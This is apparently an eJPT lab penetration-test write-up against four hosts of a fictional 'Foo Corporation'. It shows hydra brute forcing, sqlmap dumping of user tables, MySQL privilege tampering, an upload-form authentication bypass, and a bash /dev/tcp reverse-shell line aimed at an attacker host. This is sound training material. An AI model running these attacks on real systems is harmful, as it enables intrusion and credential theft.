Penetration Test #2

Black-box Penetration Test #2

eJPT Labs - Black-box Penetration Test #2 Write-Up

topics: Web application attacks, client side attacks, broken access control, website misconfiguration, unrestricted file upload to reverse shell

1. Enumeration

2. 172.16.64.166 Flag

3. 172.16.64.81 Flag

4. 172.16.64.92 Flag

5. 172.16.64.91 Flag

tools: fping, nmap, dev tools, dirsearch, ssh, hydra, mysql, sqlmap, PHP, HTML, curl, nc

Enumeration

Initial nmap scans on 172.16.64.0/24 range

fping -a -g 172.16.64.0/24 2>/dev/null && nmap -sS 172.16.64.81,91,92,166,10​

We can see there are 4 active machines on this subnet. We can see all four seemingly contain websites via HTTP and one via port 8080 with HTTP. There are three SSH services, with one on an uncommon port 2222. There is also port 53 (dns) open on 172.x.x.92 and, upon a more detailed nmap scan reveals MySQL 5.7.25 servers on x.x.x.81 and x.x.x.92.

Lets enumerate each service individually.

HTTP (x.x.x.166)

I first opened each webpage in a browser. There was no website on IPs x.x.x.81 and x.x.x.91 as they were both default Apache webpages, with x.x.x.166 and x.x.x.92 having the only unique websites.

172.x.x.166:8080

There are five main places we should look for initial access, home page, about us, login , services and features.

My first instinct was to check the login page, while running dirsearch in the background, and see if we can determine if SQLi is possible. Even upon failed login attempts, there was no error message so I decided to move on.

Next was analyzing the site map via burpsuite. Upon inspecting the source page of each target, there was something particular on the about us page.

The page itself requires valid credentials to login with, something uncommon for about us company pages. Within the source page was a list of current employees with their first name, last name, and job title.

We can extract the usernames to use for brute forcing with the awk and sed commands

cat /tmp/users.txt | awk -v FS="(<h4>|</h4>)" '{print $2}' | sed -r '/^\s*$/d' | sed 's/ .*//' >> user.txt​

HTTP (x.x.x.81)

The x.x.x.166 compromised machine provided us with a couple domain names to inspect. We were unable to find anything useful on x.x.x.81's website previously as it was a default Apache page. Now let's conduct more enumeration on this machine by adding the names to /etc/hosts and navigating to cms.foocorp.io

the static.foocorp.io page seems to be unresponsive

Now that we have a FQDN, we can see what is really running on 172.16.64.81:80, a ProjectSend based website. The version disclosure could prove to be a mistake as ProjectSend is an opensource file sharing application with plenty of public vulnerabilities.

Before attempting any credentials let's extract as much information as possible from ProjectSend version r1053.

The information I found on searchsploit was outdated, however on CVEdetails.com I found two associated CVEs that required user credentials - CVE-2018-13452 and CVE-2018-11378, SQL injection and reading arbitrary files. In order to leverage either of these public exploits we first need to find credentials, let's continue enumerating the website with dirsearch, burpsuite and manually.

It is common knowledge that a robots.txt file most likely exists for poorly configured websites, navigating to cms.foocorp.io/robots.txt returns the following possible directories

HTTP (x.x.x.92)

Navigating to the website on port 80 contains an unexpected pop up

Pop ups occasionally point to XSS vulnerabilities, lets first examine the source code as there is nothing abnormal in the response headers

Within the source code are normal JavaScript files, apart from the last one titled "footracking.js" we know from x.x.x.81 that the company we are attacking is called Foo Corporation, meaning this script could contain sensitive information.

Within footracking.js, there appears to be a GET request to a local directory that hosts a tracking file. This directory contains specific syntax, indicating we should check if it is public facing with dirsearch

dirsearch -u 172.16.64.92/72ab311dcbfaa40ca0739f5daf505494 -e php,html,txt -w directory-list-2.3-small.txt

login and tracking files exist within the hidden directory

There is also a MySQL server on this machine. We have a hidden login page and a hidden tracking file as well. These characteristics indicate this device could be vulnerable to a SQL Injection.

HTTP (x.x.x.91)

Following the compromise of x.x.x.92, we came across a hidden domain for the last remaining machine: 172.16.64.91 75ajvxi36vchsv584es1.foocorp.io

Navigating to the site on port 80 returns a 404 status code, we can begin enumerating for directories with dirsearch

There appears to be one directory, app within the hidden subdomain, navigating to the URI returns the following page:

We are presented with a PHP upload form, however, we are told we need credentials in order to upload. Analyzing the source page reveals a particular directory within app, upload, that contains an upload.php file.

In other words, the upload form will call a JavaScript program to authenticate the user and permit them to upload the file. Once the user is authenticated, it calls a PHP upload form.

Navigating to upload/upload.php yields the following pop up:

The upload form calls this PHP script, meaning the call itself can potentially be rewritten to a local file that bypasses authentication.

Enumeration Results

IP	Ports/Services	OS	Results
172.x.x.81	22, 80, 13306 (mySQL)	Ubuntu	FQDN on x.166, web crawling for creds in .bak file, redirect request shows MySQL creds
172.x.x.91	80, 6379	Ubuntu	Hidden subdomain after x..92 compromise
172.x.x.​92	22, 53, 80, 63306 (mySQL)	Ubuntu 16	Unique script with hidden directory, filename clue leads to file with SQLi
172.x.x.​166	2222 (ssh), 8080 (http)	Ubuntu	Usernames and valid default password for device

x.166 Flag (Client Side Attack)

Finding usernames usually mean that we need to find a password. The question here is, do we need a password to login to the website or to SSH into one of the systems? To narrow our search we must consider everything "uncommon" about this network. For all web ports that are not on x.x.x.166, they are commonly assigned, this machine is the only one with unique assignments for SSH and HTTP. We know x.x.x.166 has a SSH port open on 2222, let's try this device first.​

We haven't found any passwords yet, however, we check if there is a message before the password prompt. The source page of about-us also contains the job title's of the users and it is common to attack lower level users as they might have more insecure passwords. We can try the analyst Sabrina​

SSH into port 2222 on x.x.x.166

We have obtained a critical piece of information. There is a message for all employees to change the default password of CHANGEME. It is likely that not all users have change it, we can test so using hydra

hydra -L user.txt -p CHANGEME ssh://172.16.64.166:2222​

Coincidentally, Sabrina is the user that did not change their password. Let's SSH into x.x.x.166 and see what we can find.

This machine is only running SSH and HTTP as far as we can tell. Running ip a also determines that it is not routable to any other network other than 172.16.64.0/24. We can run LinEnum and see if any other services are running but let's first examine Sabrina's home directory.

Here we can see the flag for this machine and a backup hosts file in their home directory. We can see a FQDN for the x.x.x.81 machine as well as a few subdomains, it would be most logical to move on to this machine next.

x.81 Flag (Website Misconfiguration)

Robots.txt reveals several directories to crawl and manually inspect, lets run dirsearch to confirm while also manually inspecting cms.foocorp.io

dirsearch -u cms.foocorp.io -e php,html,txt -w directory-list-2.3-small.txt

confirms the information collected from dirsearch

After manual inspection it seems the most interesting directories would be img and includes, the rest contain JavaScript code and generic logs not applicable to the device. From these directories we learn the main language of the website is PHP.

Navigating to cms.foocorp.io/home.php reveals compromising information in the response headers

There is also a user.bak file in /img/custom/thumbs with credentials that leads to this 500 error code

Within the home.php page, there are credentials for the mySQL database that we can easily log into and extract sensitive information.

mysql -u root -p -P 13306 -h cms.foocorp.io

show databases;
use cmsbase;
show tables;
select * from flag;

x.92 Flag (SQLi)

Analyzing the login and tracking pages they both accept input however, only the tracking page calls a URI value "id" which we can use to begin basic SQLi tests.

We can try any common SQLi payload to test with, ' OR 1 -- - for example

The unexpected activity indicates that this page is most likely vulnerable to SQL Injection. We can test using sqlmap

Initial Access

sqlmap -u http://172.16.64.92/72ab311dcbfaa40ca0739f5daf505494/tracking.php?id=3 --users

sqlmap confirmed the vulnerability

We can then attempt to dump the database tables using

sqlmap -u http://172.16.64.92/72ab311dcbfaa40ca0739f5daf505494/tracking.php?id=3 --dump -D footracking -T users

sqlmap cracked the password hashes of two non-privileged accounts

sqlmap successfully exploited the vulnerability and was able to dump the user table along with the cleartext passwords of two non-privileged accounts. We will need to use these accounts for privilege escalation.

Local Admin Privilege Escalation

Logging into the console using tracking1:12345 returns the following message after login: "This user is not authorized to use the console."

As there are only two admin accounts, we need to find a way to crack their passwords or change the privilege of tracking1 to administrator.

Analyzing the source code of panel.php reveals embedded credentials for the MySQL server

These credentials could potentially be used to escalate the privileges of tracking1 to admin, first we need to connect to the SQL database using the credentials and access the correct table, by the source code we can surmise the table to be "footracking."

mysql -u dbuser -p -P 63306 -h 172.16.64.92
use footracking;
update users set adm="yes" where username="tracking1";
select * from users;

Successfully changed the privileges of tracking1 to an administrator

When we now login as tracking, we are met with an admin console

We can see that it accepts a parameter "code" and is a PHP page, meaning this is a PHP Admin console, we can input PHP code to test phpinfo();

As we can now execute arbitrary PHP code, we can input a one line reverse shell and establish an initial foothold on 172.16.64.92.

exec("/bin/bash -c 'bash -i >& /dev/tcp/attackIP/attackPort 0>&1'");

initial reverse shell foothold

This machine is also running a DNS server, meaning it should contain a wealth of information in the hosts file

Within the hosts file are a plethora of randomized subdomains for the domain foocorp.io, mostly pointing to the localhost except for one line pointing to the last uncompromised device 172.16.64.91.

172.16.64.91 75ajvxi36vchsv584es1.foocorp.io

We now have pivotal information we need to attack the final machine.

x.91 Flag (File Upload Bypass)

The source code indicated that the upload form can potentially be written to permit uploads without authentication.

If we swap the form action to the target URL and call the upload form without the JavaScript authentication, we can open a local file that will point to the target URI and present the upload form, bypassing authentication.

top original HTML, bottom authentication bypass

We can test this local file by opening it in a browser, it should present the same basic upload form as the website, only this one will be pointing to the upload form of the actual target.

As the form calls an upload.php file, we need to upload a PHP reverse shell. We can see via the response headers that the localized upload form is successful and returns a 200 OK status code:

Now, all we need to do is submit a HTTP request to the shell we uploaded and listen with nc

The flag is located at /var/www/html/flag.txt